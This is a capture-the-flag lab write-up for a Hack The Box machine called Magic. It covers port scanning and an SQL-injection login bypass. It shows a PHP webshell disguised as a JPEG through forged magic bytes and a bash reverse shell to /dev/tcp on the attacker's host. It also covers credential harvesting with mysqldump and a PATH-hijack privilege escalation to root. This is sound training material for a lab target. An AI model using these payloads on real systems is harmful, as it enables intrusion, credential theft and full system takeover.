# Magic

![](https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FpB3LB3bOyKSIJqwTiFD8%2Fmagic.png?alt=media\&token=15ed0447-6f34-409a-bb69-a4d7aa836f02)

## Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

> nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.185 -oN allPorts

* `-sS` use the **TCP SYN** scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
* `--min-rate 5000` nmap will try to keep the sending rate **at or above** 5000 packets per second.
* `-p-` scanning the entire port range, **from 1 to 65535**.
* `-T5` **insane** mode, it is the fastest mode of the nmap time template.
* `-Pn` assume the host is **online**.
* `-n` scan without reverse **DNS** resolution.
* `-oN` **save** the scan result into a file, in this case the *allports* file.

```
# Nmap 7.92 scan initiated Wed Jun 15 19:33:07 2022 as: nmap -sS -p- --min-rate 5000 -Pn -n -oN allPorts 10.10.10.185
Nmap scan report for 10.10.10.185
Host is up (0.087s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# Nmap done at Wed Jun 15 19:33:22 2022 -- 1 IP address (1 host up) scanned in 15.65 seconds
```

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

> nmap -sC -sV -p22,80 10.10.10.185 -oN targeted

* `-sC` performs the scan using the default set of **scripts**.
* `-sV` enables **version** detection.
* `-oN` **save** the scan result into file, in this case the *targeted* file.

```
# Nmap 7.92 scan initiated Wed Jun 15 19:34:29 2022 as: nmap -sCV -p22,80 -oN targeted 10.10.10.185
Nmap scan report for 10.10.10.185
Host is up (0.038s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA)
|   256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA)
|_  256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Magic Portfolio
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jun 15 19:34:39 2022 -- 1 IP address (1 host up) scanned in 10.19 seconds
```

Let's take a look at the website.

![](https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FCLKITSmp6R5s0lxAadpE%2Fimage.png?alt=media\&token=878450c5-36f0-4109-84a6-c04984662dca)

We'll see a message saying that in order to be able to upload images, we'll have to log in. Let's try it.

![](https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FX5nGvOQv3VffstAvlr8w%2Fimage.png?alt=media\&token=0632bfd7-0ccd-4f8e-a593-2d4ba1fd4207)

## Exploitation

At this point, I tried to log in as the user `' or 1=1-- -` and the `test` password, so if the login panel is vulnerable to *SQL Injection*, we'll pass through the login panel.

![](https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FZ56AJVtiiP9q3aagXuWm%2Fimage.png?alt=media\&token=72f69fe2-b5ed-4670-9303-b2094e937435)

And it worked.

![](https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FZOmxveqRZY39sf62Vpup%2Fimage.png?alt=media\&token=8fc0b22e-3861-4cc3-8c66-a7799aea09f1)

Now, let's create a webshell with the following PHP code, and then we'll try to upload it to the website.

```php
<?php
    echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>
```

Now, before uploading it to the website, let's name that file `webshell.php.jpg`, so the website will think we are uploading a *JPG* image. If we upload the file, we'll get the following message.

![](https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2Fr8GfnUM7Vif3KTGKetZL%2Fimage.png?alt=media\&token=aa4c03e0-9995-42e2-9d63-98528b1550b1)

One thing we could try to do, is to change the magic numbers of the file.

{% hint style="info" %}
**Magic numbers** implement strongly typed data and are a form of in-band signaling to the controlling program that reads the data type(s) at program run-time.
{% endhint %}

If we check the *JPG* magic numbers on this [List of file signatures](https://en.wikipedia.org/wiki/List_of_file_signatures), we'll see that the magic numbers for JPG are `FF D8 FF DB`. First, let's add a bunch of `a` characters at the beginning of the webshell.

```php
aaaaaaaaaaaaaaaaaaaa
<?php
    echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>
```

Then, let's use the hexeditor tool, and change the first 8 values from `61 61 61 61` to `FF D8 FF DB`.

> hexeditor webshell.php.jpg

```
File: webshell.php.jpg                                                 ASCII Offset: 0x00000004 / 0x00000051 (%05)  M
00000000  FF D8 FF DB  61 61 61 61   61 61 61 61  61 61 61 61                                        ....aaaaaaaaaaaa
00000010  61 61 61 61  0A 3C 3F 70   68 70 0A 09  65 63 68 6F                                        aaaa.<?php..echo
00000020  20 22 3C 70  72 65 3E 22   20 2E 20 73  68 65 6C 6C                                         "<pre>" . shell
00000030  5F 65 78 65  63 28 24 5F   47 45 54 5B  27 63 6D 64                                        _exec($_GET['cmd
00000040  27 5D 29 20  2E 20 22 3C   2F 70 72 65  3E 22 0A 3F                                        ']) . "</pre>".?
00000050  3E 0A
```

Then save it with `Ctrl+X`. If now we check the type of file, we can see that it is supposedly a *JPG* image.

> file webshell.php.jpg

```
webshell.php.jpg: JPEG image data
```

Now, let's try to upload it to the website.

![](https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FmR3wB74RtUzq7IAfQa9O%2Fimage.png?alt=media\&token=80473b9b-cdb1-45a7-b5bc-8c944d848432)

And we'll see that it is uploaded properly.

![](https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FPooUkIcf43xKymlYD3jh%2Fimage.png?alt=media\&token=0260886d-99f6-4ba3-b9ac-bb2d2237b333)

We can see from the source code of the main page, that the images are stored in the `/images/uploads/` directory.

> <http://10.10.10.185/images/uploads/magic-hat_23-2147512156.jpg>

So, if now we access the following URL, we'll see our webshell, and we'll be able to execute commands via the `cmd` *GET* parameter.

> <http://10.10.10.185/images/uploads/webshell.php.jpg?cmd=whoami>

![](https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FnDvn2jD7IOSbvVHrVFZf%2Fimage.png?alt=media\&token=fafccf94-9b01-459f-b68e-610dd217adf8)

Time to get a shell. First, let's set a *netcat* listener on port *4444*.

> nc -lvnp 4444

* `-l` **listen** mode.
* `-v` **verbose** mode.
* `-n` **numeric-only** IP, no DNS resolution.
* `-p` specify the **port** to listen on.

And then, if we access the following URL, we should get a shell as the `www-data` user.

> <http://10.10.10.185/images/uploads/webshell.php.jpg?cmd=bash> -c "bash -i >%26 /dev/tcp/10.10.14.9/4444 0>%261"

```
listening on [any] 4444 ...
connect to [10.10.14.9] from (UNKNOWN) [10.10.10.185] 50390
bash: cannot set terminal process group (1160): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/var/www/Magic/images/uploads$ whoami
whoami
www-data
```

## Privilege Escalation

First, let's set an interactive *TTY* shell.

> script /dev/null -c /bin/bash&#x20;

Then I press `Ctrl+Z` and execute the following command on my local machine:

> stty raw -echo; fg
>
> reset xterm

Next, I export a few variables:

> export TERM=xterm
>
> export SHELL=bash

Finally, I run the following command in our local machine:

> stty size

```
51 236
```

And set the proper dimensions in the victim machine:

> stty rows 51 columns 236

If now we enumerate the system, we'll find the `db.php5` file in the `/var/www/Magic/` directory. That file contains some database credentials.

> cat /var/www/Magic/db.php5

```php
<?php
class Database
{
    private static $dbName = 'Magic' ;
    private static $dbHost = 'localhost' ;
    private static $dbUsername = 'theseus';
    private static $dbUserPassword = 'iamkingtheseus';

    private static $cont  = null;

    public function __construct() {
        die('Init function is not allowed');
    }

    public static function connect()
    {
        // One connection through whole application
        if ( null == self::$cont )
        {
            try
            {
                self::$cont =  new PDO( "mysql:host=".self::$dbHost.";"."dbname=".self::$dbName, self::$dbUsername, self::$dbUserPassword);
            }
            catch(PDOException $e)
            {
                die($e->getMessage());
            }
        }
        return self::$cont;
    }

    public static function disconnect()
    {
        self::$cont = null;
    }
}
```

But if we try to use mysql, we'll see that it is not installed on the system.

> mysql

```
Command 'mysql' not found, but can be installed with:

apt install mysql-client-core-5.7   
apt install mariadb-client-core-10.1

Ask your administrator to install one of them.
```

But, if we write `mysql` on the terminal, and hit the *Tab* button a few times, we'll see a bunch of tools.

> mysql **TAB TAB**

```
mysql_config_editor        mysql_secure_installation  mysqladmin                 mysqld                     mysqldumpslow              mysqlrepair
mysql_embedded             mysql_ssl_rsa_setup        mysqlanalyze               mysqld_multi               mysqlimport                mysqlreport
mysql_install_db           mysql_tzinfo_to_sql        mysqlbinlog                mysqld_safe                mysqloptimize              mysqlshow
mysql_plugin               mysql_upgrade              mysqlcheck                 mysqldump                  mysqlpump                  mysqlslap
```

One of them will allow us to enumerate a database, it is the `mysqldump` tool.

> mysqldump -u theseus -piamkingtheseus Magic

* `-u` **user** for login.
* `-p` **password** for login.

```
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- MySQL dump 10.13  Distrib 5.7.29, for Linux (x86_64)
--
-- Host: localhost    Database: Magic
-- ------------------------------------------------------
-- Server version       5.7.29-0ubuntu0.18.04.1

/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;

--
-- Table structure for table `login`
--

DROP TABLE IF EXISTS `login`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `login` (
  `id` int(6) NOT NULL AUTO_INCREMENT,
  `username` varchar(50) NOT NULL,
  `password` varchar(100) NOT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `username` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `login`
--

LOCK TABLES `login` WRITE;
/*!40000 ALTER TABLE `login` DISABLE KEYS */;
INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng');
/*!40000 ALTER TABLE `login` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;

/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;

-- Dump completed on 2022-06-15 14:23:07
```

And we can see that at some point there was an *insert* statement with the username `admin`, and the password `Th3s3usW4sK1ng`. Let's list the users on the system.

> cat /etc/passwd | grep sh

```
root:x:0:0:root:/root:/bin/bash
theseus:x:1000:1000:Theseus,,,:/home/theseus:/bin/bash
sshd:x:123:65534::/run/sshd:/usr/sbin/nologin
```

As we have a password, let's try to become the `theseus` user with that password. Then we could grab the user flag.

> su theseus

```
Password: Th3s3usW4sK1ng
theseus@ubuntu:/var/www/Magic$ cat /home/theseus/user.txt 
54fcc22ce8ccf0c6269de7b5b7ee7f10
```

If we check the groups that the user `theseus` is member of, we'll see that it is member of the `users` group.

> id

```
uid=1000(theseus) gid=1000(theseus) groups=1000(theseus),100(users)
```

Now, let's find for files on the system, which group is the `users` group.

> find / -group users 2>/dev/null

```
/bin/sysinfo
```

And we see one binary. If we take a look at the file permissions, we'll see that the group owner is the `users` group, and the owner user is `root`. We can also see that the binary has the SUID permissions enabled, which means that when we execute the binary, we'll be executing it as the *root* user. Let's try to see the strings of the binary.

> strings /bin/sysinfo

```
***
free -h
***
```

We'll see that at some point, the binary is executing the *free* command, but without the absolute path. We could try to modify the `$PATH` variable, so that when the binary executes the *free* command as the *root* user, it will execute a free script that we'll make in the `/tmp` directory. First, let's create the *free* file with the following content on the `/tmp` directory.

> nano /tmp/free
>
> chmod +x /tmp/free

```
#!/bin/bash
chmod +s /bin/bash
```

If the script that we just made is executed by the *root* user, the `/bin/bash` binary will have the *SUID* permission set. Now, let's modify the `$PATH` variable, so that when the `/bin/sysinfo` binary is executed it will execute our script on the `/tmp` directory.

> export PATH=/tmp:$PATH
>
> echo $PATH

```
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
```

If now we execute the `/bin/sysinfo` binary, we'll see that the `/bin/bash` binary will have the *SUID* permission set.

> /bin/sysinfo
>
> ls -l /bin/bash

```
-rwsr-sr-x 1 root root 1113504 Jun  6  2019 /bin/bash
```

Now, all we have to do is spawn a shell as the root user, and reap the harvest and take the root flag.

> bash -p

```
bash-4.4# whoami
root
bash-4.4# cat /root/root.txt 
f999cb386ed14bb634c057bb3f10679f
```
